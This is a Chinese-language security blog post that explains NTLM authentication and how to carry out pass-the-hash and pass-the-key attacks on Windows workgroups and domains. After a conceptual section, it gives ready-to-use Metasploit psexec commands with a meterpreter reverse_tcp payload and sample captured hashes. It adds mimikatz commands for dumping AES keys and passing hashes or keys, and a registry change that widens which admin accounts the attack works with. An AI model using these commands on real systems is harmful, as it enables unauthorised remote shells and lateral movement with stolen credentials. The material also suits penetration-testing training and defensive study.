哈希传递攻击原理及利用

0x01、Pass-the -hash概述

NTLM Hash验证过程

1.用户输入username、password、domainname(交互式才需要这个步骤),客户端会计算hash值保存在本地;
2.客户端将username明文发给DC;
3.DC生成一个16Byte的随机数(challenge)发送给客户端;
4.客户端通过运算生成一个响应值response=f(hashes,challenge,other)=>other根据版本变化,例如时间戳来防止回访等;
5.客户端将响应值发送给DC;
6.DC经过同样的运算result = f(hashes,challenge,other),然后比较result和response,一直就验证通过,不一致则验证不通过;
7.备注:目标不一定是DC,hash对应的账号所登录的(有缓存的)工作站也可以。

我们可以看看工作组中和域环境中的NTLM认证过程

第三步的对比,发现工作组和域环境的认证方式都是一样的

客户端收到服务端返回的 TYPE 2 消息, 读取出服务端所支持的内容,并取出其中的随机值Challenge,用缓存的服务端的密码的NTLM-Hash对其进行加密,并与用户名、Challenge等一起组合得到 Net-NTLMHash,最后将Net NTLM-Hash封装到 NTLM_AUTH 消息中(被称为 TYPE 3 消息, Authenticate认证消息),发往服务端

唯一的不同,就是域环境下多了4和5两个步骤

第四个步骤:

服务器接收到客户端发送来的 NTLM_AUTH 的 TYPE 3 消息后,取出其中的Net NTLM-Hash值,并向DC域控(Domain Control)发送针对客户端的验证请求。该请求主要包含以下三方面的内容:客户端用户名、原始的Challenge 和 加密后的Challenge(也就是Net NTLM-Hash)。

第五个步骤:

DC根据用户名获取该帐号的密码哈希值 NTLM-Hash,用密码哈希值 NTLM-Hash 对原始的Challenge进行加密得到Net NTLM-Hash。如果加密后的Challenge和服务器发送的一致,则意味着用户拥有正确的密码,验证通过,否则验证失败。DC将验证结果发给服务器。

但是在工作组的环境下也是这样,目标不一定是DC,hash对应的账号所登录的(有缓存的)工作站也可以。

所以,域环境和工作组环境下都可以使用NTLM hash传递攻击

从而我们可以通过第一步,进行伪造;为什么呢?

相信大家大部分都是web狗,我就以登陆网址为例子

哈希传递攻击是基于NTLM认证的一种攻击方式。哈希传递攻击的利用前提是我们获得了某个用户的密码哈希值,但是解不开明文。这时我们可以利用NTLM认证的一种缺陷,利用用户的密码哈希值来进行NTLM认证。在域环境中,大量计算机在安装时会使用相同的本地管理员账号和密码。因此,如果计算机的本地管理员账号密码相同,攻击者就能使用哈希传递攻击登录内网中的其他机器。

0x02、hash传递攻击实操

在工作组环境中:

  • Windows 2003和之前的机器,可以使用本地管理员组内用户进行攻击。
  • Windows 2003 之后的机器,只能是administrator用户的哈希值才能进行哈希传递攻击,其他用户(包括管理员用户但是非administrator)也不能使用哈希传递攻击,会提示拒绝访问。

在域环境中:

  • 只能是域管理员组内用户(可以是域管理员组内非administrator用户)的哈希值才能进行哈希传递攻击,攻击成功后,可以访问域内任何一台机器。

1、msf进行hash传递攻击

有些时候,当我们获取到了某台主机的 administrator 用户的密码哈希值 ,并且该主机的445端口打开着。我们则可以利用 exploit/windows/smb/psexec 模块用MSF进行远程登录(哈希传递攻击)。这个是rhost可以是一个主机,也可以设置一个网段。

这里目标主机的Windows Vista之后的机器,所以只能使用administrator用户进行攻击。

(一)、工作组环境

msf > use  exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
msf exploit(psexec) > set lhost 192.168.10.27
msf exploit(psexec) > set rhost 192.168.10.14
msf exploit(psexec) > set smbuser Administrator
msf exploit(psexec) > set smbpass 815A3D91F923441FAAD3B435B51404EE:A86D277D2BCD8C8184B01AC21B6985F6   #这里LM和NTLM我们已经获取到了
msf exploit(psexec) > exploit 

(二)、域环境

当我们获取到了域管理员组内用户的密码哈希值 ,并且该主机的445端口打开着。我们则可以利用 exploit/windows/smb/psexec 模块用MSF进行哈希传递攻击。

msf > use  exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
msf exploit(psexec) > set lhost 192.168.10.11
msf exploit(psexec) > set rhost 192.168.10.131
msf exploit(psexec) > set smbuser test   #test用户在域管理员组内,注意这里不需要写域前缀
msf exploit(psexec) > set smbpass AADA8EDA23213C020B0C478392B5469F:51B7F7DCA9302C839E48D039EE37F0D1
msf exploit(psexec) > exploit 

2、mimikatz进行hash传递

privilege::debug    #先提权
#使用administrator用户的NTLM哈希值进行攻击
sekurlsa::pth /user:用户名  /domain:目标机器IP  /ntlm:密码哈希

(一)、工作组

(二)、域环境

这时候使用下面这条命令查看是否有权限

dir \\dc.sun.com\c$
#也可以ip查看
dir \\192.168.1.5\c$

0x03、Pass The Key

当机器打了KB2871997补丁之后,我们发现使用域管理员组内无法进行hash传递攻击,但是administrator账号(sid为500)例外;不管administrator账号怎么修改,或者新增的管理员账号,sid为500,即可进行hash传递攻击

要求前提

  • 域环境下
  • 安装了KB2871997补丁
privilege::debug #提升权限
sekurlsa::ekeys  #抓取aes秘钥
#aes-256传递
sekurlsa::pth /user:用户名 /domain:域名 /aes256:
#aes-128传递
sekurlsa::pth /user:用户名 /domain:域名 /aes128:
#使用AES-256进行Key传递攻击
sekurlsa::pth /user:administrator /domain:xie.com /aes256:1a39fa07e4c96606b371fe12334848efc60d8b3c4253ce6e0cb1a454c7d42083
#使用AES-128进行Key传递攻击
sekurlsa::pth /user:administrator /domain:xie.com /aes128:4728551c859bbe351e9c11b5d959163e

0x04、KB2871997补丁怎么回事?

其实 KB2871997 的补丁并没有多大的用处,由于在 Windows Vista 时代,微软就通过将LocalAccountTokenFilterPolicy 值默认设置为 0 来禁止非administrator账号的远程连接(包括哈希传递攻击),但是administrator用户不受影响。即使目标主机更新了KB2871997的补丁,仍然可以使用PID=500的用户进行哈希传递攻击,而 PID=500 的用户默认为 aministrator,所以仍然可以使用administrator用户进行哈希传递攻击。并且在打了KB2871997 补丁的机器上,通过将LocalAccountTokenFilterPolicy设置为1,也还是可以使用普通管理员账号进行哈希传递攻击

实验

  • Windows Server 2008R2:192.168.10.20
  • 域管理员:administrator 、 xie

未打 KB2871997 补丁前,使用 administrator 账号可以成功进行哈希传递攻击,使用管理员账号 xie 无法进行哈希传递攻击。

打上 KB2871997 补丁后,使用 administrator 账号依然可以成功进行哈希传递攻击,使用管理员账号 xie 无法进行哈希传递攻击。

将 administrator 账号重命名为 admin 账号后,由于不存在 administrator 账号了,所以无法使用administrator 账号进行哈希传递攻击,但是可以使用 admin 账号紧进行哈希传递攻击,因为 admin 账号的SID值为 500。

修改目标机器的 LocalAccountTokenFilterPolicy 为1后,使用普通域管理员账号 xie 也可进行哈希传递攻击。

修改 LocalAccountTokenFilterPolicy 为1

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

恢复 LocalAccountTokenFilterPolicy 为0 (删除后需要重启 explorer.exe 才能使修改生效)

reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /f

posted @ 2021-02-07 11:54  0X7e  阅读(1943)  评论(0编辑  收藏  举报